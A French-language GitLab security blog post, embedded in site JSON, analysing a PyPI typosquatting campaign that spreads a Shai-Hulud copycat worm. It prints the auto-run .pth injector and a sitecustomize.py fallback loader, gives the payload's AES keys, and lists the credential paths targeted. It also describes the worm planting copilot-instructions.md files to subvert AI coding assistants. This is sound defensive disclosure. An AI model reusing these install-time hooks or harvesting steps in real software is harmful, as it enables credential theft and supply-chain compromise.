[{"data":1,"prerenderedAt":1853},["ShallowReactive",2],{"/fr-fr/blog/shai-hulud-copycat-campaign-targets-python-developers":3,"navigation-fr-fr":1057,"banner-fr-fr":1491,"footer-fr-fr":1499,"blog-post-authors-fr-fr-Dinesh Bolkensteyn|Daniel Abeles":1738,"blog-related-posts-fr-fr-shai-hulud-copycat-campaign-targets-python-developers":1765,"blog-promotions-fr-fr":1791,"next-steps-fr-fr":1844},{"id":4,"title":5,"authors":6,"body":9,"category":1038,"date":1039,"description":1040,"extension":1041,"externalUrl":1042,"faq":1042,"featured":1043,"heroImage":1044,"meta":1045,"navigation":1043,"path":1046,"seo":1047,"slug":1050,"stem":1051,"tags":1052,"template":1055,"updatedDate":1042,"__hash__":1056},"blogPosts/fr-fr/blog/shai-hulud-copycat-campaign-targets-python-developers.md","Une campagne imitant Shai-Hulud cible les développeurs Python via le typosquatting PyPI",[7,8],"Dinesh Bolkensteyn","Daniel Abeles",{"type":10,"value":11,"toc":1023},"minimark",[12,30,33,38,46,81,90,93,102,106,111,129,191,198,220,290,296,300,303,340,343,346,400,404,407,500,504,507,538,542,555,562,578,582,796,800,803,835,839,950,954,967,976,984,988,1004,1007,1019],[13,14,15,16,22,23,29],"p",{},"L'équipe Vulnerability Research de GitLab a identifié une attaque coordonnée de la chaîne d'approvisionnement sur PyPI, qui déploie une copie du logiciel malveillant ",[17,18,21],"a",{"href":19,"rel":20},"https://about.gitlab.com/fr-fr/blog/gitlab-discovers-widespread-npm-supply-chain-attack/",[],"Shai-Hulud",". Nous avons découvert cinq paquets malveillants : quatre paquets typosquattés imitant Flask, Requests et NumPy, ainsi qu'un projet légitime détourné à des fins malveillantes. Ces paquets exécutent du code au moment de l'installation, sans nécessiter d'importation ni d'appel de fonction, et contiennent un voleur d'identifiants à propagation automatique qui cible les environnements ",[17,24,28],{"href":25,"rel":26,"title":27},"https://about.gitlab.com/fr-fr/topics/ci-cd/",[],"Qu'est-ce que le CI/CD ?","CI/CD"," de tous les principaux fournisseurs cloud.",[13,31,32],{},"Nous avons confirmé que GitLab n'utilisait aucun des paquets concernés et partageons nos conclusions afin d'aider l'ensemble de la communauté à réagir efficacement.",[34,35,37],"h2",{"id":36},"les-coulisses-de-lattaque","Les coulisses de l'attaque",[13,39,40,41,45],{},"Le 7 juin 2026, nos systèmes de surveillance ont signalé cinq paquets PyPI malveillants provenant d'un même compte (",[42,43,44],"code",{},"elitexp","). Quatre d'entre eux sont des paquets typosquattés :",[47,48,49,65,73],"ul",{},[50,51,52,58,59,64],"li",{},[53,54,55],"strong",{},[42,56,57],{},"rlask"," et ",[53,60,61],{},[42,62,63],{},"tlask",", des paquets typosquattés de Flask",[50,66,67,72],{},[53,68,69],{},[42,70,71],{},"rsquests",", un paquet typosquatté de Requests",[50,74,75,80],{},[53,76,77],{},[42,78,79],{},"nhmpy",", un paquet typosquatté de NumPy",[13,82,83,84,89],{},"Le cinquième, ",[53,85,86],{},[42,87,88],{},"mflux-streamlit",", est un projet légitime avec de véritables utilisateurs, que l'attaquant a détourné en publiant les versions malveillantes 0.0.3 et 0.0.4 après la vague de typosquatting.",[13,91,92],{},"L'attaquant a d'abord publié des versions « de reconnaissance » saines, avec des numéros de version correspondant exactement aux dernières versions officielles (Flask 3.1.3, Requests 2.34.2 et NumPy 2.4.6). Une fois ces versions indexées sans incident, l'attaquant a déployé de nouvelles versions intégrant la charge utile du ver.",[13,94,95,96,101],{},"Il s'agit d'un déploiement de type « copycat ». TeamPCP, le groupe à l'origine de Shai-Hulud, a ",[17,97,100],{"href":98,"rel":99},"https://ramimac.me/teampcp/",[],"publié le code du ver en open source"," le 12 mai 2026. Depuis, nous suivons des acteurs indépendants qui s'emparent de cette boîte à outils pour la diriger vers de nouvelles cibles. Cette campagne introduit ce même ver dans l'écosystème Python.",[34,103,105],{"id":104},"analyse-technique","Analyse technique",[107,108,110],"h3",{"id":109},"vecteur-dinfection-initial","Vecteur d'infection initial",[13,112,113,114,117,118,121,122,124,125,128],{},"La variante npm d'origine utilisait un script ",[42,115,116],{},"preinstall",". Cette campagne adopte une approche différente : elle exploite le mécanisme des fichiers ",[42,119,120],{},".pth"," de Python. Les paquets wheel peuvent inclure des fichiers ",[42,123,120],{}," que Python traite automatiquement au démarrage, sans nécessiter d'importation explicite. Chaque paquet malveillant inclut un fichier du type ",[42,126,127],{},"rlask-setup.pth"," contenant un injecteur sur une seule ligne :",[130,131,136],"pre",{"className":132,"code":133,"language":134,"meta":135,"style":135},"language-py shiki shiki-themes github-light","import os as _O,tempfile as _T;_G=_O.path.join(_T.gettempdir(),\".bun_ran\");\n_O.path.exists(_G)or exec('import os as _o,subprocess as _s,urllib.request as _u...')\n","py","",[42,137,138,169],{"__ignoreMap":135},[139,140,143,147,151,154,157,159,162,166],"span",{"class":141,"line":142},"line",1,[139,144,146],{"class":145},"sD7c4","import",[139,148,150],{"class":149},"sgsFI"," os ",[139,152,153],{"class":145},"as",[139,155,156],{"class":149}," _O,tempfile ",[139,158,153],{"class":145},[139,160,161],{"class":149}," _T;_G=_O.path.join(_T.gettempdir(),",[139,163,165],{"class":164},"sYBdl","\".bun_ran\"",[139,167,168],{"class":149},");\n",[139,170,172,175,178,182,185,188],{"class":141,"line":171},2,[139,173,174],{"class":149},"_O.path.exists(_G)",[139,176,177],{"class":145},"or",[139,179,181],{"class":180},"sYu0t"," exec",[139,183,184],{"class":149},"(",[139,186,187],{"class":164},"'import os as _o,subprocess as _s,urllib.request as _u...'",[139,189,190],{"class":149},")\n",[13,192,193,194,197],{},"L'injecteur vérifie la présence d'un fichier marqueur (",[42,195,196],{},".bun_ran"," dans le répertoire temporaire du système) pour éviter une nouvelle exécution, puis télécharge l'environnement d'exécution JavaScript Bun depuis GitHub et l'utilise pour exécuter une charge utile JavaScript obfusquée de 5 Mo intégrée au paquet.",[13,199,200,201,203,204,207,208,211,212,215,216,219],{},"Les premières versions de ",[42,202,57],{}," incluaient également un fichier ",[42,205,206],{},"sitecustomize.py"," comme chemin d'exécution de secours. Python importe automatiquement ",[42,209,210],{},"sitecustomize"," au démarrage, et ce fichier parcourt ",[42,213,214],{},"sys.path"," à la recherche de la charge utile cachée ",[42,217,218],{},"_index.js"," :",[130,221,223],{"className":132,"code":222,"language":134,"meta":135,"style":135},"import subprocess, os, sys\nfor d in sys.path:\n  js = os.path.join(d, \"_index.js\")\n  if os.path.exists(js):\n    subprocess.run([\"node\", js])\n    break\n",[42,224,225,232,246,263,272,284],{"__ignoreMap":135},[139,226,227,229],{"class":141,"line":142},[139,228,146],{"class":145},[139,230,231],{"class":149}," subprocess, os, sys\n",[139,233,234,237,240,243],{"class":141,"line":171},[139,235,236],{"class":145},"for",[139,238,239],{"class":149}," d ",[139,241,242],{"class":145},"in",[139,244,245],{"class":149}," sys.path:\n",[139,247,249,252,255,258,261],{"class":141,"line":248},3,[139,250,251],{"class":149},"  js ",[139,253,254],{"class":145},"=",[139,256,257],{"class":149}," os.path.join(d, ",[139,259,260],{"class":164},"\"_index.js\"",[139,262,190],{"class":149},[139,264,266,269],{"class":141,"line":265},4,[139,267,268],{"class":145},"  if",[139,270,271],{"class":149}," os.path.exists(js):\n",[139,273,275,278,281],{"class":141,"line":274},5,[139,276,277],{"class":149},"    subprocess.run([",[139,279,280],{"class":164},"\"node\"",[139,282,283],{"class":149},", js])\n",[139,285,287],{"class":141,"line":286},6,[139,288,289],{"class":145},"    break\n",[13,291,292,293,295],{},"L'attaquant a abandonné ce mécanisme de secours dans les versions ultérieures, estimant que l'approche par fichier ",[42,294,120],{}," lui paraissait manifestement suffisante à elle seule.",[107,297,299],{"id":298},"obfuscation-de-la-charge-utile","Obfuscation de la charge utile",[13,301,302],{},"La charge utile JavaScript est encapsulée en trois couches :",[304,305,306,323,329],"ol",{},[50,307,308,309,312,313,316,317,319,320,322],{},"Un ",[53,310,311],{},"chiffrement par substitution ROT-N"," appliqué à un tableau d'entiers (la valeur de rotation varie selon le paquet : ROT-13 pour ",[42,314,315],{},"rlask@3.1.4",", ROT-17 pour ",[42,318,71],{},", ROT-25 pour ",[42,321,63],{},")",[50,324,308,325,328],{},[53,326,327],{},"chiffrement AES-128-GCM"," avec des clés codées en dur, produisant deux blobs chiffrés",[50,330,331,332,335,336,339],{},"Une ",[53,333,334],{},"altération standard des noms de variables"," (obfuscation par préfixe ",[42,337,338],{},"_0x",") sur la charge utile interne",[13,341,342],{},"Nous avons déchiffré la charge utile par analyse statique, sans exécuter aucun code. Le premier blob (907 octets) est le téléchargeur de l'environnement d'exécution Bun. Le second blob (772 Ko) est le voleur d'identifiants Shai-Hulud complet, contenant 2 538 chaînes codées en dur.",[13,344,345],{},"Pour les chercheurs souhaitant mener leur propre analyse, voici les clés de déchiffrement AES :",[347,348,349,366],"table",{},[350,351,352],"thead",{},[353,354,355,360,363],"tr",{},[356,357,359],"th",{"align":358},"left","Couche",[356,361,362],{"align":358},"Clé",[356,364,365],{"align":358},"IV",[367,368,369,385],"tbody",{},[353,370,371,375,380],{},[372,373,374],"td",{"align":358},"Téléchargeur Bun",[372,376,377],{"align":358},[42,378,379],{},"c95506221d18936328fbc7ddcd21e3dd",[372,381,382],{"align":358},[42,383,384],{},"48da5faeafac0ac88a410bb0",[353,386,387,390,395],{},[372,388,389],{"align":358},"Charge utile du ver",[372,391,392],{"align":358},[42,393,394],{},"7557c4e782a0622159476d1ea10d5236",[372,396,397],{"align":358},[42,398,399],{},"55a7d25e0e61b77cc175bcc3",[107,401,403],{"id":402},"collecte-didentifiants","Collecte d'identifiants",[13,405,406],{},"Une fois lancé, le ver s'attaque aux identifiants sur toutes les principales plateformes cloud et CI/CD :",[47,408,409,419,429,435,441,458,464,470,476,482,488,494],{},[50,410,411,414,415,418],{},[53,412,413],{},"GitHub Actions"," : ",[42,416,417],{},"GITHUB_TOKEN",", jetons d'accès personnels, jetons à granularité fine, jetons OIDC, secrets d'organisation et de dépôt, artefacts Actions et mémoire des processus du runner",[50,420,421,424,425,428],{},[53,422,423],{},"AWS"," : clés d'accès IAM, clés secrètes, jetons de session, identifiants d'instance IMDS (",[42,426,427],{},"169[.]254[.]169[.]254","), entrées Secrets Manager, paramètres SSM, jetons de fédération STS",[50,430,431,434],{},[53,432,433],{},"Azure"," : secrets client, jetons d'identité gérée, secrets Key Vault, identifiants fédérés, jetons d'API Microsoft Graph",[50,436,437,440],{},[53,438,439],{},"GCP"," : clés de compte de service, identifiants par défaut d'application, jetons de portée de la plateforme cloud",[50,442,443,446,447,450,451,450,454,457],{},[53,444,445],{},"HashiCorp Vault"," : jetons Vault provenant de sept chemins d'accès connus au système de fichiers (",[42,448,449],{},"/var/run/secrets/vault-token",", ",[42,452,453],{},"/etc/vault/token",[42,455,456],{},"/root/.vault-token"," et autres), ainsi que l'accès à l'API et l'authentification Vault via Kubernetes",[50,459,460,463],{},[53,461,462],{},"npm / JFrog"," : jetons npm, clés d'API JFrog/Artifactory, échange de jetons OIDC",[50,465,466,469],{},[53,467,468],{},"PyPI"," : jetons de publication, jetons émis via OIDC",[50,471,472,475],{},[53,473,474],{},"RubyGems"," : clés d'API, identifiants de publication de gems",[50,477,478,481],{},[53,479,480],{},"SSH"," : clés privées pour les mouvements latéraux",[50,483,484,487],{},[53,485,486],{},"Kubernetes"," : jetons de compte de service, fichiers kubeconfig",[50,489,490,493],{},[53,491,492],{},"Sigstore"," : jetons OIDC et certificats de signature Fulcio, qui permettraient à l'attaquant de signer des artefacts sous une identité de confiance",[50,495,496,499],{},[53,497,498],{},"Bases de données"," : chaînes de connexion MongoDB, MySQL, PostgreSQL et Redis avec mots de passe intégrés",[107,501,503],{"id":502},"auto-propagation","Auto-propagation",[13,505,506],{},"À l'image de la variante npm d'origine, il ne s'agit pas d'un simple voleur. Il se propage. À l'aide des identifiants dérobés, le ver :",[47,508,509,516,523,526,529],{},[50,510,511,512,515],{},"Effectue des commits ",[42,513,514],{},".github/setup.js"," et des fichiers de workflow vers des dépôts GitHub accessibles, ce qui provoque sa réexécution dans d'autres pipelines CI",[50,517,518,519,522],{},"Injecte des fichiers ",[42,520,521],{},".github/copilot-instructions.md"," pour compromettre les assistants de code d'IA",[50,524,525],{},"Publie des paquets compromis supplémentaires sur PyPI, npm et RubyGems à l'aide de jetons de registre volés",[50,527,528],{},"Tente une élévation de privilèges sur les runners CI auto-hébergés par injection de règles sudoers",[50,530,531,532,537],{},"Vérifie la présence de ",[17,533,536],{"href":534,"rel":535},"https://github.com/step-security/harden-runner",[],"harden-runner de StepSecurity"," et ajuste son comportement en conséquence",[107,539,541],{"id":540},"lattaquant","L'attaquant",[13,543,544,545,547,548,550,551,554],{},"Les cinq paquets appartiennent au compte PyPI ",[42,546,44],{},". Ce compte a été créé en novembre 2024 avec un paquet légitime (",[42,549,88],{},", une interface utilisateur Streamlit pour la génération d'images avec 11 étoiles sur GitHub). Le compte GitHub associé (",[42,552,553],{},"github[.]com/elitexp",") existe depuis plus de 13 ans et compte 43 dépôts publics, dont des travaux universitaires et des projets Laravel.",[13,556,557,558,561],{},"Les métadonnées de téléchargement montrent que tous les paquets ont été publiés en utilisant ",[42,559,560],{},"Bun/1.3.14"," comme agent utilisateur, soit le même environnement d'exécution que le logiciel malveillant télécharge dans sa chaîne d'exécution.",[13,563,564,565,567,568,571,572,574,575,577],{},"L'attaquant a également détourné ",[42,566,88],{},". Les versions 0.0.1 et 0.0.2 sont saines, mais ",[53,569,570],{},"les versions 0.0.3 et 0.0.4",", publiées respectivement à 15:23 et 15:37 UTC après la campagne de typosquatting, contiennent le même injecteur ",[42,573,120],{}," et la même charge utile obfusquée. Cela rend l'attaque plus dangereuse qu'un typosquatting classique : ",[42,576,88],{}," est un véritable projet doté d'utilisateurs existants, susceptibles de recevoir la mise à jour malveillante par le biais de la résolution normale des dépendances.",[34,579,581],{"id":580},"indicateurs-de-compromission","Indicateurs de compromission",[347,583,584,597],{},[350,585,586],{},[353,587,588,591,594],{},[356,589,590],{"align":358},"Type",[356,592,593],{"align":358},"Indicateur",[356,595,596],{"align":358},"Description",[367,598,599,612,623,635,647,659,675,688,700,711,724,736,748,760,772,785],{},[353,600,601,604,609],{},[372,602,603],{"align":358},"Paquet",[372,605,606,608],{"align":358},[42,607,57],{}," 3.1.4-3.1.7",[372,610,611],{"align":358},"Paquet typosquatté malveillant de Flask",[353,613,614,616,621],{},[372,615,603],{"align":358},[372,617,618,620],{"align":358},[42,619,63],{}," 3.1.4",[372,622,611],{"align":358},[353,624,625,627,632],{},[372,626,603],{"align":358},[372,628,629,631],{"align":358},[42,630,71],{}," 2.34.3",[372,633,634],{"align":358},"Paquet typosquatté malveillant de Requests",[353,636,637,639,644],{},[372,638,603],{"align":358},[372,640,641,643],{"align":358},[42,642,79],{}," 2.4.7",[372,645,646],{"align":358},"Paquet typosquatté malveillant de NumPy",[353,648,649,651,656],{},[372,650,603],{"align":358},[372,652,653,655],{"align":358},[42,654,88],{}," 0.0.3, 0.0.4",[372,657,658],{"align":358},"Paquet légitime détourné à des fins malveillantes",[353,660,661,664,669],{},[372,662,663],{"align":358},"Fichier",[372,665,666],{"align":358},[42,667,668],{},"{package}-setup.pth",[372,670,671,672,322],{"align":358},"Injecteur à exécution automatique (SHA256 : ",[42,673,674],{},"6506d317...",[353,676,677,679,683],{},[372,678,663],{"align":358},[372,680,681],{"align":358},[42,682,206],{},[372,684,685,686,322],{"align":358},"Exécution automatique de secours (présent uniquement dans ",[42,687,57],{},[353,689,690,692,697],{},[372,691,663],{"align":358},[372,693,694],{"align":358},[42,695,696],{},"{package}/_index.js",[372,698,699],{"align":358},"Charge utile du ver obfusquée (5,2 Mo)",[353,701,702,704,708],{},[372,703,663],{"align":358},[372,705,706],{"align":358},[42,707,196],{},[372,709,710],{"align":358},"Marqueur d'exécution dans le répertoire temporaire du système",[353,712,713,716,721],{},[372,714,715],{"align":358},"Réseau",[372,717,718],{"align":358},[42,719,720],{},"hxxps[://]github[.]com/oven-sh/bun/releases/download/bun-v1.3.13/bun-{os}-{arch}.zip",[372,722,723],{"align":358},"Téléchargement de l'environnement d'exécution Bun",[353,725,726,728,733],{},[372,727,715],{"align":358},[372,729,730],{"align":358},[42,731,732],{},"hxxps[://]upload[.]pypi[.]org/legacy/",[372,734,735],{"align":358},"Publication de paquets PyPI compromis par le ver",[353,737,738,740,745],{},[372,739,715],{"align":358},[372,741,742],{"align":358},[42,743,744],{},"hxxp[://]169[.]254[.]169[.]254/latest/meta-data/iam/security-credentials/",[372,746,747],{"align":358},"Vol d'identifiants AWS IMDS",[353,749,750,752,757],{},[372,751,715],{"align":358},[372,753,754],{"align":358},[42,755,756],{},"hxxps[://]login[.]microsoftonline[.]com/",[372,758,759],{"align":358},"Acquisition de jetons Azure AD",[353,761,762,764,769],{},[372,763,715],{"align":358},[372,765,766],{"align":358},[42,767,768],{},"hxxps[://]fulcio[.]sigstore[.]dev",[372,770,771],{"align":358},"Demande de certificat Sigstore",[353,773,774,777,782],{},[372,775,776],{"align":358},"Acteur",[372,778,779,781],{"align":358},[42,780,44],{}," (PyPI)",[372,783,784],{"align":358},"Propriétaire des paquets",[353,786,787,789,793],{},[372,788,776],{"align":358},[372,790,791],{"align":358},[42,792,560],{},[372,794,795],{"align":358},"Agent utilisateur de publication",[34,797,799],{"id":798},"que-faire-si-vous-êtes-concerné","Que faire si vous êtes concerné",[13,801,802],{},"Si l'un de ces paquets a été installé dans votre environnement :",[304,804,805,811,814,822,825],{},[50,806,807,808,810],{},"Supprimez immédiatement le paquet et vérifiez la présence du fichier marqueur ",[42,809,196],{}," dans le répertoire temporaire de votre système.",[50,812,813],{},"Renouvelez tous les identifiants accessibles à l'environnement dans lequel le paquet a été installé. Cela inclut les jetons CI/CD, les identifiants de fournisseurs cloud, les clés SSH et les jetons de publication de registre.",[50,815,816,817,450,819,821],{},"Vérifiez vos dépôts GitHub à la recherche de commits inattendus, en particulier les fichiers correspondant à ",[42,818,514],{},[42,820,521],{},", ou les fichiers de workflow modifiés.",[50,823,824],{},"Vérifiez vos comptes de registres de paquets (PyPI, npm, RubyGems) pour voir s'il y a des paquets que vous n'avez pas publiés.",[50,826,827,828,834],{},"Examinez les job logs de ",[17,829,833],{"href":830,"rel":831,"title":832},"https://about.gitlab.com/fr-fr/topics/ci-cd/cicd-pipeline/",[],"Qu'est-ce qu'un pipeline CI/CD ?","pipeline CI/CD"," à la recherche de téléchargements Bun ou d'exécutions JavaScript inattendus.",[34,836,838],{"id":837},"chronologie","Chronologie",[347,840,841,851],{},[350,842,843],{},[353,844,845,848],{},[356,846,847],{"align":358},"Date",[356,849,850],{"align":358},"Événement",[367,852,853,861,875,886,894,902,913,921,929,942],{},[353,854,855,858],{},[372,856,857],{"align":358},"12/05/2026",[372,859,860],{"align":358},"Publication du ver Shai-Hulud en open source par TeamPCP",[353,862,863,866],{},[372,864,865],{"align":358},"07/06/2026 13:47 UTC",[372,867,868,869,450,872,322],{"align":358},"Publication des versions de reconnaissance (",[42,870,871],{},"rlask@3.1.3",[42,873,874],{},"rsquests@2.34.2",[353,876,877,880],{},[372,878,879],{"align":358},"07/06/2026 14:20 UTC",[372,881,882,883,885],{"align":358},"Première version malveillante (",[42,884,315],{},"), détectée en 28 secondes",[353,887,888,891],{},[372,889,890],{"align":358},"07/06/2026 14:24 UTC",[372,892,893],{"align":358},"Analyse automatisée terminée, signalée comme malveillante/critique",[353,895,896,899],{},[372,897,898],{"align":358},"07/06/2026 14:27-15:04 UTC",[372,900,901],{"align":358},"Publication de six nouvelles versions malveillantes sur l'ensemble des quatre noms de paquets",[353,903,904,907],{},[372,905,906],{"align":358},"07/06/2026 15:23-15:37 UTC",[372,908,909,910,912],{"align":358},"Détournement du paquet légitime ",[42,911,88],{}," (v0.0.3, v0.0.4) par l'attaquant",[353,914,915,918],{},[372,916,917],{"align":358},"07/06/2026",[372,919,920],{"align":358},"Confirmation de la présence du ver Shai-Hulud complet par analyse statique lors de l'enquête",[353,922,923,926],{},[372,924,925],{"align":358},"07/06/2026 16:01 UTC",[372,927,928],{"align":358},"Signalement de tous les paquets malveillants à l'équipe de sécurité de PyPI",[353,930,931,934],{},[372,932,933],{"align":358},"08/06/2026 03:15:06 UTC",[372,935,936,937],{"align":358},"Ajout de l'avis à la ",[17,938,941],{"href":939,"rel":940},"https://advisories.gitlab.com/",[],"base de données d'avis de sécurité de GitLab",[353,943,944,947],{},[372,945,946],{"align":358},"08/06/2026",[372,948,949],{"align":358},"Retrait de toutes les versions des paquets malveillants par PyPI",[34,951,953],{"id":952},"comment-gitlab-peut-vous-aider-à-détecter-ces-paquets","Comment GitLab peut vous aider à détecter ces paquets",[13,955,956,957,962,963,966],{},"Si vous utilisez GitLab Ultimate, vous pouvez recourir à l'",[17,958,961],{"href":959,"rel":960},"https://docs.gitlab.com/user/application_security/dependency_scanning/",[],"analyse des dépendances"," pour détecter automatiquement l'exposition à ces paquets dans vos projets. Nous avons publié des avis (de GMS-2026-572 à GMS-2026-576) couvrant les cinq paquets dans la ",[17,964,941],{"href":939,"rel":965},[],". Une fois ces avis intégrés, tout projet où l'analyse des dépendances est activée signalera ces paquets dans les résultats du pipeline et dans le rapport de vulnérabilités.",[13,968,969,970,975],{},"Pour les équipes qui gèrent un grand nombre de dépôts, ",[17,971,974],{"href":972,"rel":973},"https://docs.gitlab.com/user/gitlab_duo_chat/",[],"GitLab Duo Chat"," associé à l'agent Security Analyst peut aider à effectuer un classement rapide. Posez par exemple des questions comme :",[47,977,978,981],{},[50,979,980],{},"« Certaines de mes dépendances sont-elles affectées par la campagne Shai-Hulud sur PyPI ? »",[50,982,983],{},"« Ce projet contient-il des dépendances Python malveillantes ? »",[34,985,987],{"id":986},"perspectives","Perspectives",[13,989,990,991,997,998,1000,1001,1003],{},"Nous nous attendions à cette campagne après la publication en ",[17,992,996],{"href":993,"rel":994,"title":995},"https://about.gitlab.com/fr-fr/blog/what-is-open-source/",[],"Qu'est-ce que l'open source ?","open source"," du ver Shai-Hulud par TeamPCP en mai dernier. Des acteurs indépendants se sont emparés de la boîte à outils et la déploient dans de nouveaux écosystèmes. La variante Python utilise un vecteur d'infection initial différent (fichiers ",[42,999,120],{}," au lieu de scripts ",[42,1002,116],{},"), mais contient le même code de collecte d'identifiants et d'auto-propagation en arrière-plan.",[13,1005,1006],{},"Nos systèmes de surveillance continuent de suivre les déploiements par imitation sur npm, PyPI et d'autres registres. Nous mettrons à jour cet article à mesure que de nouvelles informations seront disponibles.",[1008,1009,1010],"blockquote",{},[13,1011,1012,1013,1018],{},"Retrouvez d'autres articles de l'équipe Vulnerability Research sur notre ",[17,1014,1017],{"href":1015,"rel":1016},"https://about.gitlab.com/fr-fr/blog/categories/security-labs/",[],"page Laboratoires de sécurité",".",[1020,1021,1022],"style",{},"html pre.shiki code .sD7c4, html code.shiki .sD7c4{--shiki-default:#D73A49}html pre.shiki code .sgsFI, html code.shiki .sgsFI{--shiki-default:#24292E}html pre.shiki code .sYBdl, html code.shiki .sYBdl{--shiki-default:#032F62}html pre.shiki code .sYu0t, html code.shiki .sYu0t{--shiki-default:#005CC5}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}",{"title":135,"searchDepth":171,"depth":171,"links":1024},[1025,1026,1033,1034,1035,1036,1037],{"id":36,"depth":171,"text":37},{"id":104,"depth":171,"text":105,"children":1027},[1028,1029,1030,1031,1032],{"id":109,"depth":248,"text":110},{"id":298,"depth":248,"text":299},{"id":402,"depth":248,"text":403},{"id":502,"depth":248,"text":503},{"id":540,"depth":248,"text":541},{"id":580,"depth":171,"text":581},{"id":798,"depth":171,"text":799},{"id":837,"depth":171,"text":838},{"id":952,"depth":171,"text":953},{"id":986,"depth":171,"text":987},"security-labs","2026-06-15","L'équipe Vulnerability Research de GitLab a découvert une attaque de la chaîne d'approvisionnement Python sur PyPI, qui déploie le ver Shai-Hulud pour dérober des identifiants provenant des systèmes CI/CD.","md",null,true,"https://res.cloudinary.com/about-gitlab-com/image/upload/v1772630163/akp8ly2mrsfrhsb0liyb.png",{},"/fr-fr/blog/shai-hulud-copycat-campaign-targets-python-developers",{"config":1048,"title":5,"description":1040},{"noIndex":1049},false,"shai-hulud-copycat-campaign-targets-python-developers","fr-fr/blog/shai-hulud-copycat-campaign-targets-python-developers",[1053,1054],"security","security releases","BlogPost","x3A1xt3gRYu0Wc8pmadb6zxPx16Qa5hbl6QQWlTufQg",{"logo":1058,"freeTrial":1063,"sales":1068,"login":1073,"items":1078,"search":1406,"minimal":1442,"duo":1461,"switchNav":1470,"pricingDeployment":1481},{"config":1059},{"href":1060,"dataGaName":1061,"dataGaLocation":1062},"/fr-fr/","gitlab logo","header",{"text":1064,"config":1065},"Commencer un essai gratuit",{"href":1066,"dataGaName":1067,"dataGaLocation":1062},"https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com/fr-fr&glm_content=default-saas-trial/","free trial",{"text":1069,"config":1070},"Demander une démo",{"href":1071,"dataGaName":1072,"dataGaLocation":1062},"/fr-fr/sales/?contact-topic=request-demo","sales",{"text":1074,"config":1075},"Connexion",{"href":1076,"dataGaName":1077,"dataGaLocation":1062},"https://gitlab.com/users/sign_in/","sign in",[1079,1108,1209,1214,1328,1384],{"text":1080,"config":1081,"menu":1083},"Plateforme",{"dataNavLevelOne":1082},"platform",{"type":1084,"columns":1085},"cards",[1086,1092,1100],{"title":1080,"description":1087,"link":1088},"La plateforme d'orchestration intelligente pour le DevSecOps",{"text":1089,"config":1090},"Explorer notre plateforme",{"href":1091,"dataGaName":1082,"dataGaLocation":1062},"/fr-fr/platform/",{"title":1093,"description":1094,"link":1095},"GitLab Duo Agent Platform","L'IA agentique pour l'ensemble du cycle de développement logiciel",{"text":1096,"config":1097},"Découvrir GitLab Duo",{"href":1098,"dataGaName":1099,"dataGaLocation":1062},"/fr-fr/gitlab-duo-agent-platform/","gitlab duo agent platform",{"title":1101,"description":1102,"link":1103},"Pourquoi GitLab ?","Découvrez les principales raisons pour lesquelles les entreprises choisissent GitLab",{"text":1104,"config":1105},"En savoir plus",{"href":1106,"dataGaName":1107,"dataGaLocation":1062},"/fr-fr/why-gitlab/","why gitlab",{"text":1109,"left":1043,"config":1110,"menu":1112},"Produit",{"dataNavLevelOne":1111},"solutions",{"type":1113,"link":1114,"columns":1118,"feature":1188},"lists",{"text":1115,"config":1116},"Voir toutes les solutions",{"href":1117,"dataGaName":1111,"dataGaLocation":1062},"/fr-fr/solutions/",[1119,1143,1166],{"title":1120,"description":1121,"link":1122,"items":1127},"Automatisation","CI/CD et automatisation pour accélérer le déploiement",{"config":1123},{"icon":1124,"href":1125,"dataGaName":1126,"dataGaLocation":1062},"AutomatedCodeAlt","/fr-fr/solutions/delivery-automation/","automated software delivery",[1128,1131,1134,1139],{"text":28,"config":1129},{"href":1130,"dataGaLocation":1062,"dataGaName":28},"/fr-fr/solutions/continuous-integration/",{"text":1093,"config":1132},{"href":1098,"dataGaLocation":1062,"dataGaName":1133},"gitlab duo agent platform - product menu",{"text":1135,"config":1136},"Gestion du code source",{"href":1137,"dataGaLocation":1062,"dataGaName":1138},"/fr-fr/solutions/source-code-management/","Source Code Management",{"text":1140,"config":1141},"Livraison de logiciels automatisée",{"href":1125,"dataGaLocation":1062,"dataGaName":1142},"Automated software delivery",{"title":1144,"description":1145,"link":1146,"items":1151},"Sécurité","Livrez du code plus rapidement sans compromettre la sécurité",{"config":1147},{"href":1148,"dataGaName":1149,"dataGaLocation":1062,"icon":1150},"/fr-fr/solutions/application-security-testing/","security and compliance","ShieldCheckLight",[1152,1156,1161],{"text":1153,"config":1154},"Tests de sécurité des applications",{"href":1148,"dataGaName":1155,"dataGaLocation":1062},"Application security testing",{"text":1157,"config":1158},"Sécurité de la chaîne d'approvisionnement logicielle",{"href":1159,"dataGaLocation":1062,"dataGaName":1160},"/fr-fr/solutions/supply-chain/","Software supply chain security",{"text":1162,"config":1163},"Conformité logicielle",{"href":1164,"dataGaName":1165,"dataGaLocation":1062},"/fr-fr/solutions/software-compliance/","software compliance",{"title":1167,"link":1168,"items":1173},"Mesures",{"config":1169},{"icon":1170,"href":1171,"dataGaName":1172,"dataGaLocation":1062},"DigitalTransformation","/fr-fr/solutions/visibility-measurement/","visibility and measurement",[1174,1178,1183],{"text":1175,"config":1176},"Visibilité et mesures",{"href":1171,"dataGaLocation":1062,"dataGaName":1177},"Visibility and Measurement",{"text":1179,"config":1180},"Gestion de la chaîne de valeur",{"href":1181,"dataGaLocation":1062,"dataGaName":1182},"/fr-fr/solutions/value-stream-management/","Value Stream Management",{"text":1184,"config":1185},"Analyses et informations",{"href":1186,"dataGaLocation":1062,"dataGaName":1187},"/fr-fr/solutions/analytics-and-insights/","Analytics and insights",{"title":1189,"type":1113,"items":1190},"GitLab",[1191,1197,1203],{"text":1192,"config":1193},"Entreprises",{"icon":1194,"href":1195,"dataGaLocation":1062,"dataGaName":1196},"Building","/fr-fr/enterprise/","enterprise",{"text":1198,"config":1199},"Pour les PME",{"icon":1200,"href":1201,"dataGaLocation":1062,"dataGaName":1202},"Work","/fr-fr/small-business/","small business",{"text":1204,"config":1205},"Pour le secteur public",{"icon":1206,"href":1207,"dataGaLocation":1062,"dataGaName":1208},"Organization","/fr-fr/solutions/public-sector/","public 